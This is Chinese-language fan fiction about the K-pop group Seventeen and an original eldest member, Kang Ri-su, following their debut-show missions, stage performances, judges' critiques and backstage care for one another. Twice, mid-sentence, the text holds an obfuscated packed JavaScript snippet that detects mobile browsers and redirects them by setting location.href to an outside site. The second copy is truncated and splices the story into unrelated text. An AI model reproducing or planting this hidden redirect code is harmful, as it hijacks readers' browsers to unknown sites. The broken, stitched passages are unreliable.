“要站到社长面前去,亲手夺回属于我们的戒指!”他抬起手,指向门外金社长离开的方向,声音斩钉截铁。他顿了顿,深吸一口气,几乎是吼出了最后的问题。 “有没有信心?!” “内——!!!” 回应他的,是十二道汇合在一起的、比他更响、更坚定的吼声。 后期字幕组:[振奋起来的孩子们!!!] [为什么RISU依旧趴着,是太过伤心了吗?] 19. 19.‘我们的舞台\’ [Seventeen的第一个任务:用出道曲,去俘获大众的心吧] “SEVENTEEN PROJECT”拍摄的第二天。 每个人都收到了相同的核心任务:用他们自己的出道曲,去捕获大众的心。 经过成员们的集体商议,他们决定选择 “Shining Diamond(闪钻)” 这首歌。 它承载着少年们对梦想最纯粹、最炽热的热情与向往,作为他们第一首正式面向粉丝和大众的歌曲,再合适不过。 在李知勋当晚不眠不休、反复推敲与修改下,“Shining Diamond(闪钻)”的最终版音源,于凌晨时分,正式定稿完成。 片刻不得休息。李知勋立刻召集成员,按照事先排好的顺序,挨个进入录音室进行分轨录音,由他本人和制作人老师BUMZU共同严格监制。 而其他暂时没有叫到的成员,则全部集中在练习室里,在权顺荣的带领下,争分夺秒地练习和细化舞蹈动作。 “RISU啊,把声音放开!这首歌需要力量啊,力量!” BUMZU哥摁下通话键,对着录音间里的姜里树喊道。 “hiong,别紧张,我在这里呢。” 坐在一旁的李知勋倒是轻轻笑了一下,隔着观察窗,用平稳的声音安慰着里面那位明显开始紧绷起来的哥哥。 “内~” 姜里树听到自家弟弟熟悉的声音,紧绷的神经果然放松了一些。和其他成员反其道而行,听见李知勋的声音,他反而能更快地进入状态。 第二遍重试,状态就对了。 李知勋在控制台前仔细听着,然后精准地指出了两处需要调整音准和情感的细节,并清晰地告诉他如何改进。 姜里树根据他的指示,重新演绎了那两段。这一次,完美通过。 他耳机还没完全摘下,就听见控制室里传来BUMZU哥带着笑意的声音,透过通话键直接问他:“诶,我说RISU啊。” “内~” BUMZU哥的声音里满是好奇,“成员们好像都挺‘怕’录音室里的Woozi的,怎么我感觉,你却因为知勋在,更放松了?” “这可是我的 ‘宝藏’啊。” 姜里树说完,还从鼻子里发出几声得意洋洋的、小小的“哼哼哼”,脸上是毫不掩饰的珍视与自豪。 这可是他从 “Seventeen” 这个名字第一次被印在出道企划案的纸张上时,就早早“觊觎”并决心要守护住的‘宝藏’啊。 “为什么这么说啊?” BUMZU哥被他这副样子逗乐了,追问道。 “哇!” 姜里树的声调瞬间扬了起来,隔着玻璃都能感受到他那股与有荣焉的劲儿,“这可是我们家李知勋啊!” 他掰着手指头数,眼睛亮晶晶的:“会作词、会作曲、会唱歌、跳舞也超级棒的李大制作人啊!” “这都不是‘宝藏’的话,那什么才是?!”最后总结陈词,语气里满是理所当然的骄傲。 “好了好了,知道了!” BUMZU 哥做出一副“受不了了”的嫌弃表情,挥挥手,“赶紧出去吧你,别在这儿秀了! 后面还有孩子等着录音呢。” ‘像只得意的小猪。’ 控制台后的李知勋抿着嘴笑着,没说话,只是低下头,一抹红色悄然爬上了他藏在蓬松妹妹头发里的耳尖。 姜里树没有急着离开控制室。 脑子里飞快地转了一圈确定现在没有关键需要他的事后,走向李知勋。 而关于孩子们出演服装的事,他决定抛开公司那些保守的搭配,采用更大胆、更具活力的让人产生更多多巴胺的配色来展现少年感,衣服部分位置加上亮片,以此回应他们的主题“闪钻”,在搭配上一些被灯光打上就会闪亮的配饰。发型和妆造则在拍摄“Adore U”时的清爽基础上稍作优化,个别成员可能需要染个发色来强化个人特征。 他走到李知勋身边,弯下腰低声问:“昨晚有没有休息?” 看到李知勋轻轻摇了摇头,姜里树的眉头立刻皱了起来。他拉着人小声商量了几句,最后达成协议。等这首曲子全部录完,李知勋必须先睡一会儿。随后他会把饭给他和BUMZU哥一起送过来。 李知勋点了头。姜里树又叮嘱了两句,这才放心地离开录音室,先去给大家订好午餐。 餐食的问题解决了。姜里树转身往舞蹈室走去,想看看权顺荣那边的编舞进度。 结果他刚推开门,就被正在满屋子找他的权顺荣一眼逮住。二话不说,冲上来推着他的后背,不由分说地把他往巨大的舞蹈镜前带。 “hiong!你终于回来了!” 权顺荣的声音又急又兴奋,像抓住了救命稻草,“快来一起试试我想的这几个新动作!” 他一边说,一边用手比划着,语速飞快:“舞蹈进行到这里的时候,我想让全体成员一个接一个,依次叠坐在一起,形成一个……” “顺荣不妨把舞蹈设计得再大胆、再放开一点。” 姜里树接过他的话,眼睛看着镜子里映出的自己和权顺荣,声音带着鼓励, “既然这是我们第一次,完完全全用自己的舞台面对粉丝,那就别收着,跳得再疯一点,再亮一点。像钻石刚切出来的第一道反光,得晃到人睁不开眼才行。”他转过身,面对权顺荣,用手比划着身体的姿态。 “内!” 权顺荣眼睛一亮,立刻领会了他的意思,用力点了点头。 “我再试试,融入更多动作!” 一转眼,就到了公演当天。 自舞蹈动作最终设计完成后,每一天都是超过15个小时的高强度训练。身体早已疲惫不堪,肌肉记忆着每一个节拍,但大家的精神却因夺回团戒的任务、和近在咫尺的出道机会而始终紧绷着,不曾松懈。 上台前。 “大家!” 上台前的最后时刻,在崔胜澈喊出口号前,姜里树的目光扫过每一张紧张而专注的脸。 “现在,你们就是那颗即将被聚光灯第一次彻底照亮的钻石。” 他的声音不高,却带着一种沉静的力量,“把你们打磨了这么久、最好的一面,全部展现出来。” “别想着任务,别想任何事。把整个心,都交给接下来的舞台。” “记住了吗?”他的目光最终与崔胜澈交汇,然后再次看向所有人。 “内——!!!” 将话语权交还给还在安抚权顺荣的崔胜澈后,队长让成员们聚在一起。 他们一个接着一个,伸出手,紧紧握住身旁成员的大拇指,伸出假装团戒还在的小拇指,像是进行一场无声的、传递力量的仪式。这是他们上台前,最后的、也是最踏实的加油打气。 “大家一定不要紧张一定要注意表情管理,就像里树说的,不要想别的,把心交给舞台!” “内!” “1.2.3,怀挺!” “怀挺!!!” 上场前的最后一刻,崔胜澈拍了拍身边明显绷紧的权顺荣,朝他露出了一个安抚的笑容,让他放松下来。同样身为队长,他太清楚作为Performance队队长,此刻肩负着不同重量的压力了。 Slip into the diamond life oh! (沉浸在钻石般的人生里!) Slip into the diamond life oh! (沉浸在钻石般的人生里!) Slip into the diamond life oh! (沉浸在钻石般的人生里!) Ah ah ah ah everybody get up (所有人都嗨起来吧!) …… Shining Diamonds yeah (闪耀的钻石啊) ???? ??? (就算时光流逝) ???? ?? (也绝不会黯淡) We’ll keep it up (我们会始终闪耀) …… 曲终。 李知勋接过了话筒,还带着剧烈舞蹈后的微喘,和内心不易察觉的忐忑,他看向台下,很认真地、一字一句地问:“以上,是我们Seventeen的新曲 ‘Shining Diamond’。” 声音很轻,却清晰地传到每个角落,“大家觉得好听吗?” “内——!!!好听!!!” 台下瞬间爆发出山呼海啸般的、肯定的回应。 这声回应仿佛给了他莫大的力量,他握着话筒的手紧了紧,眼神变得更加坚定,对着所有人许下了承诺。 “我们以后,会更努力地发展Seventeen,展示更多更好的样子!” 他的声音终于不再迟疑,带着少年的热忱,“希望以后,大家能给我们更多的支持和关心!” “内——!!!” 回答他的,是比刚才更加响亮、更加炽热的声浪。 全场粉丝和观众报以热烈的、持久的掌声。从他们上台的那一刻起,眼前一亮的清爽妆造,彻底告别了当下流行的厚重烟熏,扑面而来的是即使在夜晚也鲜活明亮的少年气息,就已经抓住了所有人的视线。 随后,大胆而充满张力的舞蹈,与活力满溢、真诚炽热的歌喉完美结合,彻底点燃了现场,让全场都为之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205959|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沸腾、热血澎湃。 “以上是 Seventeen。谢谢大家。” 崔胜澈从李知勋手中接过话筒,作为队长,他带着所有成员,整齐地、深深地朝台下鞠了一躬,然后在一片不舍的欢呼和掌声中,完成了他们第一次‘自给自足’的公开舞台告别。 成员们回到后台,立刻开始了紧张的自我复盘和反省,讨论着刚才舞台上每一个可以做得更好的细节。 而此刻,舞台前通过留言板收集的观众即时采访反馈,却反响异常地好。许多原本只是路过、被音乐和氛围吸引而驻足观看的普通路人,也在留言中纷纷表示,被舞台上某个少年独特的魅力所吸引,就此喜欢上了他们。 [“那个黑发妹妹头的少年真的好可爱啊!!!”] [“胜澈哩的造型今天很帅气呢!!!”] [“净汉今天依旧是美美的!!!”] [“这些孩子像钻石一样特别闪耀啊!哎一古,我们家那孩子……”] …… [“DK呀,今天的高音特别亮眼哦!要继续加油哦!!!”] …… 与粉丝们预想的“结束后回宿舍休息”截然不同,离开舞台的Seventeen成员们,直接被工作人员集体带回到了另一个房间。 那里,制作组早已等候多时。 座椅依次摆好,摄像机红灯闪烁。 他们的面前,还并排放着四个空着的软凳,正静静地等待着它们的主人落座。 而当所谓的“评委”们真的入场时,看清来人的成员们,脸上都露出了难以掩饰的、巨大的惊讶。 来人是同公司的大前辈孙丹菲,以及他们的专辑制作人Rhymer。 两位评委落座后,大前辈孙丹菲率先开口,对他们的整体舞台表现,很温柔的给予了真诚的夸奖,并对其中几名表现尤为亮眼的孩子,进行了具体的、鼓励性的单独点评。 接着,Rhymer哥发言。因为他之前看过Seventeen更早的舞台表演,所以对比之下,对今天的表现感到有些可惜。 “孩子们今天在舞台上太过紧张了,” 他直率地指出,“完全没有了之前那种享受舞台、沉浸其中的样子。太过小心翼翼,反而有些束手束脚,效果打了折扣。” 他和孙丹菲前辈一样,也点名夸奖了VERNON、RISU在内的几位在舞台上表现相对放松、自然的成员。 有夸奖,自然也有鞭策。作为队长的S.COUPS被重点点了出来。Rhymer批评他没有很好地担负起队长的责任,在舞台上没能有效地让成员们松弛下来。但随即,话锋一转,Rhymer又肯定道:“不过,你个人在舞台上的表现和存在感,非常亮眼,继续保持。” 最后,轮到了对他们最熟悉、也是最严格的慧琳导师。她几乎一眼就看出了今天舞台与往常训练状态的不同,点评更加一针见血,直接指出了每个人存在的问题。 而作为编舞核心的HOSHI(权顺荣),更是首当其冲。慧琳导师更专业的毫不留情地点出了舞蹈动作衔接和整体队形转换中的几个细微却关键的不足。 最后一位发言的是公立舞蹈团的艺术指导金尹秀。 他的点评风格不同,非常不吝啬赞美。他首先夸奖了Seventeen “不同于时代流行风格、特立独行的妆造” ,认为这充满了属于他们这个年龄应有的、无限的活力。 接着,他重点夸奖了作为歌曲制作人的WOOZI,称赞曲子 “结构新颖,充满朝气” ;也表扬了编舞的HOSHI,认为舞蹈 “设计大胆,有想法”。 最后,他温和地给出了建议:“如果所有成员都能更享受舞台,更放开自己,整体的效果一定会更加完美。” 评价有温柔鼓励,也有严厉鞭策,但核心都是为了同一个目标,那就是让他们,在未来的路上能打磨得更耀眼,走得更远。 孩子们静静地、认真地听完了所有评价。他们接下了所有的 “好”与“不好” ,将赞许化为前行的鼓励,将指出的不足变为时刻警惕、督促自己改进的镜子。 既然已经得到了这次舞台结果,那么就该第二个任务的宣布了。 制作人拿出任务卡,面向还带着评价余热和些许茫然的少年们,冷静地宣布了他们的第二个任务。 [Seventeen第二个任务:以小分队的形式,去俘获大众的心吧] 啊~第三个任务总不能是随机组队,然后“俘获大众的心”了吧?姜里树看到任务卡上的新任务,上下左右的翻转着手上的任务卡,看了眼突然出现在制作人背后,努力挥手打禁止手势的金社长。 ……他咋那么闲? 20. 20.‘我们会站到彼此身边去\’ “现在,请出来一名代表,过来看看这个吧。” 在所有成员都清楚接收了第二个任务后,制作组再次递上了一张新的任务卡。 崔胜澈从后排走出,接过了卡片。他展开卡片,清晰地将上面的内容读了出来。 “在接下来的环节中,获得最多粉丝数量的小分队,将会获得特殊奖励。” “唔呼~奖励!” 尽管在眼下,任何奖励都比不上他们夺回团戒的渴望,以及那珍贵的一小时舞台直播机会,但孩子们还是非常给面子地、配合地鼓掌欢呼起来,努力烘托着现场的气氛。 “那就按小队分开站吧。” 崔胜澈一边说,一边带头鼓掌,开始组织大家划分队伍。 姜里树听到指令,默默地、不动声色地从自己原本的位置,朝着队伍中间的Performance队的队长权顺荣那边,挪了过去。 他是个典型的INFJ。如果有人能够可靠地站在前面带头,他就会很自然地退后一步,变成那个最安静、最配合的守护者。 只有在关乎孩子们生活作息、健康和安全这些事上,他才会变得异常强势和不容商量。 而在团队事务上,任务、活动、行程,有里兜崔胜澈主导,辅助决策有尹净汉;词曲创作有李知勋,还有BUMZU哥从旁协助;编舞方面有权顺荣,慧琳姐也会不时给出专业建议。 他真的很放心。 就像当初确定艺名的那天,确认属于自己的数字,“14”,代表他是Seventeen的最后一人,是序列的终点,是守护Seventeen所有孩子的长兄。 虽然排在第十四,但他是大哥啊。 所以,在舞台上他更习惯默默站在所有人身边,看着他们各自发光,带领着整个团队,带领着彼此,一步一步,越来越好。 正如金社长所说:‘不经历风雨,不知风雨之后的彩虹有多难能可贵。’ 在正式出道前,Seventeen 仍需经历锤炼,打磨自身。而现在,就是最好的机会。 不再是他一味护短、将所有风雨挡在外面的时刻了。 孩子们这不是做的很好吗。 姜里树站在一旁,看着孩子们分队后,互相放着些幼稚又认真的“狠话”,最后却还是会伸出手,紧紧握住彼此的大拇指,用Seventeen独有的方式为对方加油打气。 “hiong~里树hiong~” 权顺荣发表完自己关于 “趣味舞蹈穿插情景剧” 的构想后,立刻转头,朝着一直安静旁听的姜里树靠了过去,声音带着点撒娇和求助的意味。 “你也给点意见嘛~不要让我自己一个人说啊。” 他目光又扫向队里其他成员,鼓动道,“你们也都给一给自己的想法呀~” “很好啊,顺荣的想法很好呢~” 姜里树听完,率先点了点头,文俊辉和徐明浩、李灿也纷纷表示没意见。 “哥,你先演示一下试试看吧!” 徐明浩眼睛亮亮地,带着好奇和鼓励说道,因为他哥的音乐选的非常有意思。 音乐随之响起,配合着权顺荣临时编排的动作演示。 哇—— 开头那效果……还真是,非常、非常的……19禁风格呢。 得到全体队员的肯定和鼓励,权顺荣果然变得更加干劲十足。 他立刻拉着Performance小队的成员们,热火朝天地开始了整体的舞蹈编排。在他的主导下,小队的设计很快成型。既有完整流畅的舞蹈段落,也巧妙穿插了充满趣味和反转的剧情桥段。 虽然不知道其他队伍是什么样的的情况下,总之Performance队的全程排演是非常成功的。 很快就到检验成果的时候了,Seventeen连同制作组都到了马罗尼埃公园等待“捕获大众的心”,只不过在“捕获”前还得先有观众才行。各小队带着成员们亲自扫街“捕获”路人前来观演。 在制作组让他们准备上场前。 “已经‘紧张’过一次了,” 姜里树的声音在后台预备区响起,平静而清晰。他伸出手,稳稳地握住了身旁徐明浩的大拇指,紧接着,崔胜澈的手也伸过来,握住了姜里树的大拇指,一个挨着一个。 “这次,就不要那么紧张了吧。” 姜里树的目光扫过围拢过来的每一张脸,“舞台是属于我们的,去享受它吧。” “内!” 这一次的应和声,比上次更加整齐,也更加坚定。 Performance队的舞台,以情景剧式的个人solo开场,成员们依次用简短而富有张力的表演,展现着各自鲜明的角色。 轮到姜里树的个人solo时。 穿插音乐的是一段充满爆发力与力量感的舞蹈。他的每个动作都精准而充满张力,时不时被抬臂带起的衣服会露出腰部的肌肉线条,在日光下清晰可见,引起台下起起伏伏的惊呼。 舞蹈的最后一秒,音乐戛然而止。他定格,然后忽然对着观众席轻轻抖了一下身上的外套,同时精准地抛出一个清晰的wink。 这个突如其来、带着引诱意味的小动作,让前排看清了的女孩们瞬间爆发出了一阵惊喜的尖叫。 而当这些分散的“角色”最终汇聚到一起,无缝衔接成一段整齐有力、充满惊喜的组合舞蹈时,瞬间抓住了所有人的眼球。在场的评委和观众都不由自主地聚精会神,或许内心也在猜测,下一秒,他们又会展现出怎样有趣的新花样? Vocal队则选择了改编的 “因为你” 。温柔的人声与弦乐配乐缓缓流淌,与成员们清澈而各有特色的嗓音完美交融。 不同的声线,因为同一份情感而变得同样温柔、动人。 观众们也都不自觉地沉浸在这片温柔的声浪里,随着旋律轻轻晃动,脸上露出柔软的神情。 “哇~真的很好听啊。” 姜里树站在后台候场区,也听得入了神,忍不住小声赞叹了一句,心里已经默默打定主意,回去就让他们每人录一段,当手机铃声。 最后登台的是 Hip-hop队的“仲夏夜之蜜” 。一贯充满力量感的Hip-hop风格,在这首歌的旋律和氛围下,也奇妙地变得浪漫、欢快起来,像夏夜晚风中一颗带着甜意的青苹果糖。 姜里树站在李知勋身后,看着Hip-hop队的表演,也忍不住跟着旋律,很小声地尝试了一下歌曲里的rap段落。 居然……成功地、完整地唱出来了……唱出来了啊凎! 这微小的动静立刻被他旁边的夫胜宽和身前的李知勋捕捉到了。两个人几乎同时转过头,脸上露出了 “逮到了” 的促狭笑容。 夫胜宽更是直接笑倒在他身上,一边拍着他的胳膊,一边故意用夸张的腔调模仿他刚才那几句生涩的rap,毫不留情地“嘲笑”起来。 ‘臭小子,今晚的炸鸡没有你的份了。’ 表演结束后,大家再次回到了MBC大楼里,熟悉的软凳,熟悉的排排坐。 进来的评委们面色平常的样子,暂时看不出高不高兴。应该是高兴的吧… BUMZU哥第一个拿起话筒,正准备像往常一样先夸夸孩子们今天表演辛苦了,话刚起头,就被一旁性格爽朗的Jessi前辈直接笑着打断了。 “呀!等等!” Jessi前辈的声音响亮又带着笑意,她看向台上的少年们,眼睛发亮,“我必须要先说——你们的造型今天真的很帅气哦!” 她比划了一下,语气是毫不掩饰的欣赏:“和现在流行的那种‘烟熏妆时代’的风格完全不一样啊!这很好,真的很好!这才是这个年龄的少年该有的、清爽的活力啊!” “所以——造型师的电话,等下可以给我吗?”Jessi说完,还朝着制作组的方向,半开玩笑半认真地补了一句。 “啊尼呀呦!啊尼呀呦!”坐在第一排中间的权顺荣一听,立刻着急地摆着手,对着Jessi前辈声音清脆地解释:“今天的妆造,是我们RISU哥帮我们设计的!” “哇,亲加!?” “你们连妆造都要 ‘自给自足’ ?!哇……真的很厉害啊!” Jessi前辈惊讶地睁大了眼睛,伸头努力找着“RISU”的身影,语气里充满了不可思议的赞叹。 坐在后排的姜里树听到了前辈的夸奖和寻找自己的话语,立刻站了起来,朝着Jessi前辈的方向规规矩矩地鞠了一躬,好让她能顺利找到自己。 “啊!是你啊!” Jessi前辈的目光果然锁定了他,脸上露出“原来如此”的爽朗笑容,还特意提到了他刚才的舞台表现,“刚才那个wink,很甜哦!” “谢谢前辈夸奖!” “你再展示一下那个‘wink’吧!表情管理真的很不错啊!” 姜里树被Jessi前辈点名,只好又认认真真、略带僵硬地对着评委席再次演示了一遍那个“很甜的wink”。 这个“官方复刻”立刻引发了台上成员们的集体起哄,纷纷发出“哇~”、“哥好帅!”、“里树kiyo~”之类的夸夸声,直接把姜里树给夸得耳朵泛红,害羞地连连摆手。 等姜里树坐下时,Jessi前辈还补了一句“腹肌不错哦~”惹得成员们再次鼓掌哄笑了起来。 这会儿彻底没办法抬头看所有人了…… 紧接着,Rhymer哥和BUMZU哥也对孩子们整体的舞台表现给予了各自的夸奖。Raina前辈则特别对主唱之一的夫胜宽,进行了细致的、鼓励性的单独称赞。 最后,话题回到了Jessi前辈这里。她收起了笑容,神情变得认真起来。审视目光扫过Seventeen的成员们,对他们说:“你们这次的表演,缺少了一种‘竞争’的感觉。‘竞争’啊!”这么严肃的确不适合她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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事情就发生在刚才,胜宽能被前辈夸奖他当然真心高兴,但那份对自己 “我是不是还不够好” 的失落和比较,确实也悄悄冒了头,后期单人采访的时候,他还是忍不住哭了出来。 “……”姜里树抬起手,很轻地、安抚般地摸了摸李硕珉的头发。他能感觉到,这孩子努力想装作不在乎的样子。 ‘可这哪里是会不在乎啊,明明在乎极了。’ “我们硕珉的歌声,” 姜里树的声音带着笑意和欣赏,看着李硕珉的眼睛里是真挚的肯定,“是那种充满爆发力、能瞬间点燃气氛的魅力。” “而胜宽的声音,则拥有另一种温柔细腻、能抚慰人心的力量。” 他的目光变得很温和,看着李硕珉。 “你看,一首歌之所以丰富,就是因为有不同质感的声音交织在一起。需要胜宽的温柔来铺垫情感,也同样需要你的爆发来推向高潮。你们不是彼此的对照,而是互相成就、缺一不可的伙伴。” “Raina前辈今天特别指出了胜宽完成的漂亮部分,但这绝不意味着你的部分不重要。恰恰相反,正是因为你在自己的段落里展现了足够的冲击力,才让整首歌的层次和情感对比如此鲜明,Vocal队不能没有你们,Seventeen不能没有所有小队。” 姜里树拍了拍李硕珉的肩膀,对他说:“相信自己的声音,它有独一无二、无法被替代的价值。我们所有人都需要它,Seventeen也需要它。” “hiong~……”还没说出的话就被嘴里的烤肉打断了。 “你们两个,” 尹净汉的声音带着笑意,从李硕珉的另一边传来,“快点吃肉啦,肉都要烤老了。” 他就坐在李硕珉的另一边,一直听着刚才的对话。夫胜宽则坐在姜里树的另一边,身体靠着他,虽然没说话,但小耳朵明显支棱着,也在悄悄留意着两人,尤其是李硕珉的动静。 李硕珉被尹净汉塞了满满一嘴烤肉,鼓着腮帮子,努力地嚼着,一时说不出话。 他只能用力地点点头,把那些涌到嘴边的感动和感谢,连同香喷喷的烤肉,一起妥帖地咽回了肚子里,没再说出来。 他们是14+3=1的Seventeen,十四名成员加三个小队等于完整的一个Seventeen。 他们会因为一件小事争吵,会因为理念不合而打架,但这些都发生在 “我们是一体” 这个绝对的前提之下。他们绝不会因为对方的成功或外界的比较而产生隔阂或疏远。 他们只会努力做的更好而站到彼此的身边去,只会想“我要更努力,做得更好,这样才有资格,堂堂正正地站到你的身边去。” 然后,一起搀扶着,跌跌撞撞却又无比坚定地,去往山顶,去看那场属于所有人的、最壮丽的日出。 21. 21. ‘夜访吸血鬼\’ 最终,他们选定了三首歌作为下一轮的舞台。 任务一,选择的是最初突袭检查时失误的《Dangerous》、任务二则是公司大前辈After School的《BANG!》、以及他们自己的《Shining Diamond》。 随之而来的,是为了舞蹈,日均超过15、16个小时的恐怖练习时长。高强度的重复让疲惫迅速累积,孩子们开始苦不堪言,连连叫累。 崔胜澈看着瘫倒在地、哀嚎一片的弟弟们,眉头紧锁。他知道不能硬压,必须换种方式。 “明天早上,”他忽然开口,声音在空旷的练习室里很清晰,“我们去汉江边练习。” 这话像一滴水掉进油锅。孩子们的眼睛瞬间亮了一下,能出去透气了!但随即,那点微弱的兴奋就被此刻连手指头都懒得动的疲惫彻底淹没。他们连欢呼的力气都没有了,只能从喉咙里发出几声含糊的、代表“知道了”的气音。 吃了补充能量的炸鸡,姜里树让准备回宿舍抓紧时间浅眠一会儿的孩子们,顺手把垃圾带下楼。 他自己却留了下来。 “我待在这儿陪着知勋。”他的语气没什么商量余地。李知勋这种长期、大把大把地透支时间、通宵熬夜的工作状态,让他实在放心不下。虽然李知勋几次想让他也回去好好休息,但架不住姜里树这个人,他犟啊。 “哥,你这么犟干什么啊……” 李知勋从面前正准备离开的成员们的背影后移开视线,无奈又好笑地瞥了一眼从背后搂着他、下巴沉沉压在他头顶、整个人透着一股懒洋洋的疲惫的姜里树。 明明自己都已经累成这样了,却还是要坚持留在这里陪他。可能也帮不上什么实际的忙,但就是要在这里,陪着。 “就算帮不上什么实质的忙……” 姜里树的声音因为困意而变得含糊,但逻辑却异常清晰。 “在你累的时候,帮你冲一杯咖啡也好啊。”他慢吞吞地数着,“或者,帮你揉揉肩膀,缓解一下僵硬,也不错啊。” 他顿了顿,把下巴在李知勋柔软的发顶上蹭了蹭,声音几乎要融进空气里。 ‘明明自己眼睛都快睁不开了。’李知勋在心里无奈的想。 走在最后,被负责确认人数的队长崔胜澈牵着出门的徐明浩,回头看了一眼还亮着灯的制作室。 一个非常贴切的中文俗语,突然清晰地浮现在他脑海里,‘犟得和头驴一样……这脾气到底是随了谁啊?’ 但他很明智地,只在心里用中文嘀咕了一遍。因为他知道,这话要是用他还不太利索的韩语说出来,今晚很可能就逃不过他哥的锁喉了,锁一次清醒一晚上。 第二天一早,所有人准时聚集在汉江边宽阔的草坪上。 晨风带着水汽,吹散了部分困意。崔胜澈将大家聚拢,快速总结并再次确认了接下来要表演的三首曲目。汇报了目前的进度,一件是知勋已经连夜完成了前辈歌曲的重新编曲和适配改编。另一件是顺荣和灿尼的整体编舞框架也已基本完成,接下来主要是成员们一起进行配合与磨合。 听到这两个最关键的部分都已就位,崔胜澈说完,自己也跟着大大地松了一口气。 “好了,正事说完。” 崔胜澈拍了拍手,看着眼前这群在晨光下依然努力打起精神的少年们。 “现在,什么都别想,”他扬了扬下巴,语气轻松下来,“先去好好玩一会儿吧。” 毕竟,这次出来本就不是为了在室外继续练习的。 带孩子们吹吹风,看看水,暂时忘掉练习室的镜子、节拍器和没完没了的重复,让紧绷到极致的神经能真正放松一会儿,才是眼下最要紧的事。 孩子们拿出了事先从宿舍带过来的篮球。选择让两个忙内李灿和崔瀚率通过剪刀石头布,开始挑选各自的队员。 就在大家起身准备时,李灿先注意到,从他们身旁的专业篮球场跑道上,正匀速跑过一个人影,SJ的Henry(刘宪华)前辈! 双方都很有礼貌地、远远地互相点头打了招呼。Henry前辈没有停下跑步的节奏,孩子们也尊重地没有上前打扰。 打完招呼,便各忙各的。这边,两个忙内已经开始了剪刀石头布的比拼,开始认真地挑选起自己的队员来。 姜里树站在没比他矮多少的文俊辉背后,忍不住又打了一个大大的哈欠。看着眼前这群仿佛有无限精力的孩子们,他打心底里感到佩服。 尤其是李大制作人。昨晚他扛不住,靠着电子琴架子迷糊了一会儿,可每次睁眼,李知勋都还保持着同一个姿势,紧紧盯着发亮的屏幕。 他摇摇头,起身去用保温杯里的热水冲了杯速溶咖啡。端回来后,他先把杯子放在李知勋手边,然后站到他身后,手法熟稔地帮他揉捏起紧绷的肩颈,想帮他提提神,也缓解一下疲劳。 等忙内们用最后一局剪刀石头布决出胜负后,崔瀚率如愿以偿地第一个点名:“我选明浩哥!” 大家的目光自然地随着他的选择,看向徐明浩。然后,所有人的视线都不由自主地往下移——这才注意到,蹲在徐明浩腿后面草坡下的姜里树。 就算他们的背后是个坡……他一米八三的大个子,到底是怎么把自己缩成这么小一团,完美“隐藏”在徐明浩身后的啊?! 在一片无语又好笑的目光中,李灿眼疾手快,立刻举手:“里树哥就是我的了!”成功捡走了这位意外出现的“漏网之鱼”。 “Seventeen篮球之战”火热进行中。赛场上战况激烈,传球、拦截、投篮,你来我往。 姜里树在一次防守间隙中抽空接过篮球,看准时机跳起,将球远远地抛给了已经跑到对方篮板下、位置最佳的崔胜澈。 崔胜澈稳稳接住,起跳,篮球划出漂亮的弧线,空心入网。 打着打着,不知怎的,姜里树就和不知不觉凑到他身边的尹净汉、徐明浩,还有全圆佑四个人仿佛达成了某种无声的默契,就这么默默地、一步步地,一起退出了热火朝天的赛场,站到了场地边缘,成为了安静的“观众”。 场边这四位“安静观众”的鼓掌和欢呼声,虽然音量不大,却恰到好处地衬得场上拼抢的气氛更加热烈、更加鲜活了。 姜里树思绪开始抛锚。从舞台主题和曲目最终确定开始,他要分出部分精力投在服装搭配上。他的那些前卫、大胆的想法,公司的妆造老师一时还无法完全领会和执行,所以他必须亲自上手画图,全程跟进。 三首歌连跳,一个舞台,中途没有任何停顿换装的时间。这意味着,一套衣服,必须同时适配《Dangerous》的经典酷感、《BANG!》的强力冲击,以及《Shining Diamond》的青春闪耀,三种截然不同的风格。 思来想去,姜里树最终把目光落在了西装上。这是最安全、也最有改造潜力的基底。既撑得起《Dangerous》的经典框架,与另外两首歌搭配起来也不会显得突兀。 但西装绝不能是普通的西装。他需要在上面设计无数“小细节”,可能是可拆卸的闪钻装饰、不同颜色的衬衣、特殊剪裁的裤脚,或是搭配不同风格的配饰,来让同一套衣服,在三种表演中呈现出三种微妙的、贴合歌曲氛围的视觉变化。 等姜里树从一堆设计草图里猛地回过神时,身边热火朝天的篮球赛已经散场了。 他环顾四周,找了一圈,才发现打篮球的孩子们挤在不远处的凉亭下面,正围成一团,嘻嘻哈哈地撸一只毛茸茸的金毛。 他无奈地笑了笑,然后叫上还在身边的的金珉奎和全圆佑:“珉奎、圆佑啊,陪我一起去给大家还有制作组的staff和PD们买点水回来吧。” “内~hiong~” “内。” “中午你们两个想吃什么?”姜里树一边在冰柜前挑着饮料,一边问身边推着购物车的全圆佑和金珉奎,“我们点着吃吧,一会儿就要回练习室,来不及做午餐了。” “蔬菜饼干?”全圆佑小声地、带着点试探性地说。 “可以买。”姜里树点点头,但紧接着就认真地看过去,“但是饭,要好好吃饭啊,圆佑。” “辣年糕?”全圆佑想了一下,提出了一个听起来有点分量的选择。 “可以。”姜里树应下,然后转向金珉奎,“珉奎你呢?” “汉堡可以吗?”金珉奎立刻补充,声音里还有点不好意思,“总感觉最近胃口变大了……饿得好快啊。” “OK。” 姜里树利落地应下,然后拿起手机,一边核对购物车里的东西,一边开始快速地在备忘录里记上蔬菜饼干、辣年糕、汉堡和一些其他食物。 三个人回来的时候看崔胜澈他们几个还在摸狗,姜里树就让全圆佑和金珉奎把买回来的饮料分给制作组staff和PD,自己把孩子们喜欢喝的挨个分过去。 玩得尽兴后,正要离开时,又遇见了骑着自行车的Henry前辈。收到他的鼓励,孩子们也精神了许多。姜里树和崔胜澈说了中午的安排,直接回练习室吃午饭,免得来回跑。 